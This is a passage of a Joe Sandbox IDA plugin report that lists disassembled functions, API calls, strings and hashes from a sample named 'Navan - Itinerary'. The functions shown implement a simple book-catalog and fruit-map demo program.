Opcode Fuzzy Hash: f67448ee69e16083e290dd0825f77dc1c1ad46c8240896e3c3697bb84c881296
Instruction Fuzzy Hash: 2BA18FB1900A05CFDB28CF59D8827AEBBF2FB58324F24922AD455E7360D3799944CF90

Function 005D747E Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 005D7483
QueryPerformanceFrequency.KERNEL32(?), ref: 005D7491
QueryPerformanceCounter.KERNEL32(?), ref: 005D749B

Part of subcall function 005D7249: __EH_prolog.LIBCMT ref: 005D724E

Part of subcall function 0066275A: __EH_prolog.LIBCMT ref: 0066275F
Part of subcall function 0066275A: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 006628DC

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA,?,?,0000079F,The Catcher in the Rye,J.D. Salinger,?,?,0000078C,Brave New World,Aldous Huxley,?,?,0000079D,1984,George Orwell), ref: 005D75AC
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA,1984,The Catcher in the Rye,1984,1984), ref: 005D767A
QueryPerformanceCounter.KERNEL32(?), ref: 005D76AF

Part of subcall function 005D71CE: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z.MSVCP140(?), ref: 005D7218
Part of subcall function 005D71CE: ??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 005D723D

Strings

1984, xrefs: 005D74C1, 005D75C6, 005D75CE, 005D75F0, 005D763E
Brave New World, xrefs: 005D750C
Library Catalog:, xrefs: 005D759B, 005D7669
The Catcher in the Rye, xrefs: 005D7557, 005D7615
J.D. Salinger, xrefs: 005D754A
George Orwell, xrefs: 005D74B1
Aldous Huxley, xrefs: 005D74FF

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$D@std@@@std@@U?$char_traits@$??6?$basic_ostream@$H_prologPerformanceQueryV01@@$Counter$?setstate@?$basic_ios@Frequency
String ID: 1984$Aldous Huxley$Brave New World$George Orwell$J.D. Salinger$Library Catalog:$The Catcher in the Rye
API String ID: 1216514333-2780720062
Opcode ID: 211e6310784f0ab18095f75f2aabd23295a7100a7ccf215f92f7da9b4b206241
Instruction ID: c8b8bc0dc803c664232f4e0e2f2fef7b0d7350e311632852de88fefd70d2cea5
Opcode Fuzzy Hash: 211e6310784f0ab18095f75f2aabd23295a7100a7ccf215f92f7da9b4b206241
Instruction Fuzzy Hash: 6F717030C04A5DDACB55EBE4CCA9AEDBB7ABF25300F44405AE84677381EF345A09CB21

Function 005D71CE Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0066275A: __EH_prolog.LIBCMT ref: 0066275F
Part of subcall function 0066275A: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 006628DC

Part of subcall function 0066275A: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 0066281A

Part of subcall function 0066275A: ?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(?,?,00000000), ref: 0066285E
Part of subcall function 0066275A: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 0066288B

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z.MSVCP140(?), ref: 005D7218
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 005D723D

Strings

(Checked Out), xrefs: 005D7227
, Author: , xrefs: 005D71F1
, Year: , xrefs: 005D7207
(Available), xrefs: 005D7222
Title: , xrefs: 005D71D8

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$V01@$??6?$basic_ostream@?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@H_prologV01@@
String ID: (Available)$ (Checked Out)$, Author: $, Year: $Title:
API String ID: 1769822534-3710747714
Opcode ID: def60a592cd57d0fea33a922cc0d8485ce4d031a04bfaa9f4804e8a5eaa587fa
Instruction ID: 3e7a0e85ec3bb333fbbe2855ea73e290373b2ed4aa0f4c8df0570f65ebfa3e0b
Opcode Fuzzy Hash: def60a592cd57d0fea33a922cc0d8485ce4d031a04bfaa9f4804e8a5eaa587fa
Instruction Fuzzy Hash: 1EF02430B04E0113CF48AB79A83A93DBEC7EBC0320740443EA44AD7795EE34DC5283A9

Function 0050118E Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 245
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0050118E

Part of subcall function 00662C5D: __EH_prolog.LIBCMT ref: 00662C62

Part of subcall function 0066488D: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00663DC3,00000024,00662449,7FFFFFFF,?,?,?,?,?,?,005BB5F0,?), ref: 006648A2

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z.MSVCP140(00000000,00000000,?,?,00000000,?,?,00000000,?,00000003,?,?,00000000,?,?,00000002), ref: 0050146F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 0050147C

Part of subcall function 00501139: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set too long,00662D4E,?,?,?,?,?,?), ref: 0050113E

Strings

banana, xrefs: 00501212
apple, xrefs: 005011D8
cherry, xrefs: 00501248

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@H_prologU?$char_traits@$V01@@Xlength_error@std@@malloc
String ID: apple$banana$cherry
API String ID: 3123195358-3927607761
Opcode ID: 70a9ef63c33fd554207f2fbb9534e1d81c839064ddd6d2d5cbba6be1af41c22f
Instruction ID: 5600eda60a8101a009744583763fc7d89f38a5b5d5e3e7e9d69e56f479ab947d
Opcode Fuzzy Hash: 70a9ef63c33fd554207f2fbb9534e1d81c839064ddd6d2d5cbba6be1af41c22f
Instruction Fuzzy Hash: 9FB17C71C00A4DDFCB06DFA4C855AEEBBB5BF19310F14819EE4017B2A2DB749A48CB65

Function 00501189 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 241
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0050118E

Part of subcall function 00662C5D: __EH_prolog.LIBCMT ref: 00662C62

Part of subcall function 0066488D: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00663DC3,00000024,00662449,7FFFFFFF,?,?,?,?,?,?,005BB5F0,?), ref: 006648A2

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@N@Z.MSVCP140(00000000,00000000,?,?,00000000,?,?,00000000,?,00000003,?,?,00000000,?,?,00000002), ref: 0050146F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 0050147C

Strings

banana, xrefs: 00501212
apple, xrefs: 005011D8
cherry, xrefs: 00501248

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@H_prologU?$char_traits@$V01@@malloc
String ID: apple$banana$cherry
API String ID: 3395169245-3927607761
Opcode ID: 3bff7f785dfafb20b4a317ba73fa18bc9a5645ade416e551ffd18c63071dbc5c
Instruction ID: 73b872baabec412dbcc00cf142839db69d4b6a39f18dd17fa64cc93f5a5f21d3
Opcode Fuzzy Hash: 3bff7f785dfafb20b4a317ba73fa18bc9a5645ade416e551ffd18c63071dbc5c
Instruction Fuzzy Hash: 3BB17B71C00A4DDFCB06DFA4C855AEEBBB5BF19310F14819EE4017B2A2DB749A48CB65

Function 0066275A Relevance: 7.6, APIs: 5, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0066275F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 0066281A
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(?,?,00000000), ref: 0066285E
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 0066288B
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 006628DC

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@H_prolog
String ID:
API String ID: 696536955-0
Opcode ID: 506b2aa5738d196aa81f8643ddfcad4676dcb3ed3262ae61a3c42de35fc41272
Instruction ID: 2a3735d06cbf9479592d2dd1321e884c45d9491cf3106a740999a4e29d6f5391
Opcode Fuzzy Hash: 506b2aa5738d196aa81f8643ddfcad4676dcb3ed3262ae61a3c42de35fc41272
Instruction Fuzzy Hash: 39512C75E009169FCB25CFA8C8A49ECBBB2FF48724F24425DE515E7791D730A885CBA0

Function 00663824 Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00663829
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 006638B4
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAE_JPBD_J@Z.MSVCP140(?,?,00000000), ref: 006638E0
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?), ref: 00663904
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000), ref: 00663958

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?setstate@?$basic_ios@?sputn@?$basic_streambuf@H_prolog
String ID:
API String ID: 696536955-0
Opcode ID: bd91348714dfd1df4978d85826fc7a2ce26a704234f4a2dff60ae50ccf00692b
Instruction ID: 12a35818544104e7ce1176f3ada255474a2baf0cb4b550f10578a0ff0d10c7c4
Opcode Fuzzy Hash: bd91348714dfd1df4978d85826fc7a2ce26a704234f4a2dff60ae50ccf00692b
Instruction Fuzzy Hash: 99415470A006259FCB24DFAAC9849A9BBF6FF48314B24415EE046EB751C731EF41CB60

Function 005D6ED6 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 005D6EDB

Part of subcall function 00662C5D: __EH_prolog.LIBCMT ref: 00662C62

Part of subcall function 0066488D: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00663DC3,00000024,00662449,7FFFFFFF,?,?,?,?,?,?,005BB5F0,?), ref: 006648A2

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@M@Z.MSVCP140(?,?,?,00000000,?,00000000,?,?,00000000,?,00000000,?,?,00000000,?,00000101), ref: 005D7142
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA,?,?,?,00000000,?,00000000,?,?,00000000,?,00000000,?,?,00000000,?), ref: 005D714F

Strings

key, xrefs: 005D6F30

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@H_prologU?$char_traits@$V01@@malloc
String ID: key
API String ID: 3395169245-2324736937
Opcode ID: 9912d418550602c113628c3677e97124940a0d9d4269f3515f1d3223dca6ebbe
Instruction ID: ad7b83739cabc2d86cfbb097678c88a2da8977f2eb1916d09a656a5b110b96df
Opcode Fuzzy Hash: 9912d418550602c113628c3677e97124940a0d9d4269f3515f1d3223dca6ebbe
Instruction Fuzzy Hash: FCA14771C04248EFCB15DF98C945AEDBBF5BF08304F15819AE415BB2A1EB706E48CB64

Function 00663B84 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00663B89
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(unordered_map/set too long,00000008,?,00000000,?,?,00000001,006626EA,00000000), ref: 00663BD2
ceil.API-MS-WIN-CRT-MATH-L1-1-0(0000000C,0000000C,?,00000008,?,00000000,?,?,00000001,006626EA,00000000), ref: 00663C59

Strings

unordered_map/set too long, xrefs: 00663BCD

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: H_prologXlength_error@std@@ceil
String ID: unordered_map/set too long
API String ID: 2095022771-306623848
Opcode ID: 8be198268facbb405531a4bace074d8ed94f36651641fc0787d80e735b61004e
Instruction ID: 1fafce74dfd33426a6541707eca95112c6dd02a081d40beb445b44cb1fd0b631
Opcode Fuzzy Hash: 8be198268facbb405531a4bace074d8ed94f36651641fc0787d80e735b61004e
Instruction Fuzzy Hash: 6F51DD71A10619DFCB15DF68C480AADF7BAFF58314F10C22EE456A7341D771A992CB40

Function 00662B05 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00662B0A
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(unordered_map/set too long,&f,?,00000000,006626EA,00000000), ref: 00662B5F

Strings

unordered_map/set too long, xrefs: 00662B5A
&f, xrefs: 00662B33, 00662BF4, 00662BE4, 00662B36, 00662BEA

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: H_prologXlength_error@std@@
String ID: unordered_map/set too long$&f
API String ID: 1660897028-4122917095
Opcode ID: 455839ac681c115cf89e1b0dc63585f450e5907755672b2b74c933c76307ac64
Instruction ID: 35546350cd052f6cbf46d49680d18d18b77c5bc11298f300c0394518aeb9d709
Opcode Fuzzy Hash: 455839ac681c115cf89e1b0dc63585f450e5907755672b2b74c933c76307ac64
Instruction Fuzzy Hash: 2D41B071900A0ADFCB15DF68C490AADF7F5FF58318F10861EE456AB341D770A996CB90

Function 0066553C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__current_exception.VCRUNTIME140 ref: 0066557B
__current_exception_context.VCRUNTIME140 ref: 00665585
terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0066558C

Strings

csm, xrefs: 00665546

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: __current_exception__current_exception_contextterminate
String ID: csm
API String ID: 2542180945-1018135373
Opcode ID: 5fc840c2ce577e2f7c85890f3a33143330e61f528387c4e7eacc8c4586238c77
Instruction ID: fe7208cfd0d9aaa6cd0e0c808edd939168a21f9c5af1a5b67703af2c16e898ff
Opcode Fuzzy Hash: 5fc840c2ce577e2f7c85890f3a33143330e61f528387c4e7eacc8c4586238c77
Instruction Fuzzy Hash: 29F0A775804B108BCF306E69D04B099BB6FAE10331F99451AE447CB710D770FD52C6D6

Function 006624A6 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 006624AB
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,00000000,00000000,?,006627D4), ref: 006624DC
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@XZ.MSVCP140(?,00000000,00000000,?,006627D4), ref: 006624F7
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,00000000,00000000,?,006627D4), ref: 00662504

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: ?good@ios_base@std@@$?flush@?$basic_ostream@D@std@@@std@@H_prologU?$char_traits@V12@
String ID:
API String ID: 2428054142-0
Opcode ID: 0c776b8d0c93322e61f048b4ac890d74d26f912b32a0f6a6487644d3937f6f6f
Instruction ID: cf52bcc3fe5c730b1ff344bbb7d5e4fdd5cfa0832da20bf3061e3c31986fdf34
Opcode Fuzzy Hash: 0c776b8d0c93322e61f048b4ac890d74d26f912b32a0f6a6487644d3937f6f6f
Instruction Fuzzy Hash: 63113235301511DFCB28CF59C9A8AA9FBE6FF68704718806EE446CB721CB70E900CB90

Function 00502933 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 00502A9F
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@H@Z.MSVCP140(?,?,?,?,?), ref: 00502B9B

Strings

h&f, xrefs: 00502A94

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@U?$char_traits@$V01@@
String ID: h&f
API String ID: 3022475274-276367452
Opcode ID: 97bcca26c4ce629527c070901e0149892001635de256ea7bfcc54def1c5d8d5c
Instruction ID: 8d49294e49223a449ad07e2fd020f656136924492a46b7dbe20427a6ff73d5ce
Opcode Fuzzy Hash: 97bcca26c4ce629527c070901e0149892001635de256ea7bfcc54def1c5d8d5c
Instruction Fuzzy Hash: F651E5719006299FCB64EF64DC99AECB7B6BF48300F1041E9E40AA7261EB346F80DF44

Function 005D7310 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 005D7398

Strings

Checked out: , xrefs: 005D73A9
Book is not available: , xrefs: 005D7377

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@U?$char_traits@V01@@
String ID: Book is not available: $Checked out:
API String ID: 2302506090-4164626871
Opcode ID: d24cba7f894e7eaca770756b1deba0247ac64b788ea8ec7b2a53692be045c173
Instruction ID: 533171042d3f43624d1bd09cfcfd18bbcacd8e3e24a08cbf7cf70802fb056579
Opcode Fuzzy Hash: d24cba7f894e7eaca770756b1deba0247ac64b788ea8ec7b2a53692be045c173
Instruction Fuzzy Hash: FF1104315087498FD720DE2CD891BAABF92ABA9314F54095FE8C057391E630DD89D392

Function 005D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@P6AAAV01@AAV01@@Z@Z.MSVCP140(006626EA), ref: 005D743C

Strings

Checked in: , xrefs: 005D744D
Book is not checked out: , xrefs: 005D741B

Memory Dump Source

Source File: 00000000.00000002.1637992005.0000000000501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00500000, based on PE: true

Associated: 00000000.00000002.1637978320.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638113446.000000000066C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638136373.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638156189.0000000000672000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1638175206.0000000000673000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_500000_Navan - Itinerary.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@D@std@@@std@@U?$char_traits@V01@@
String ID: Book is not checked out: $Checked in:
API String ID: 2302506090-309771757
Opcode ID: f09ffa30137dc6f1528c7a46f8e0b861f48987ff31c8e28b80ccc6fd43ac285a
Instruction ID: 8f118d707b8e490c06699ffca365738974018781a8157c005938b54af9443bfe
Opcode Fuzzy Hash: f09ffa30137dc6f1528c7a46f8e0b861f48987ff31c8e28b80ccc6fd43ac285a
Instruction Fuzzy Hash: 9C1104315082458BDB21DE2CD894BAABFD1EBA8318F14051FE8D147391EB30DD89C392

Function 00662D4F Relevance: 5.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,00000000,?), ref: 00662DB2
memcpy.VCRUNTIME140(00000000,?,?,00000000,00000000,?), ref: 00662DBD
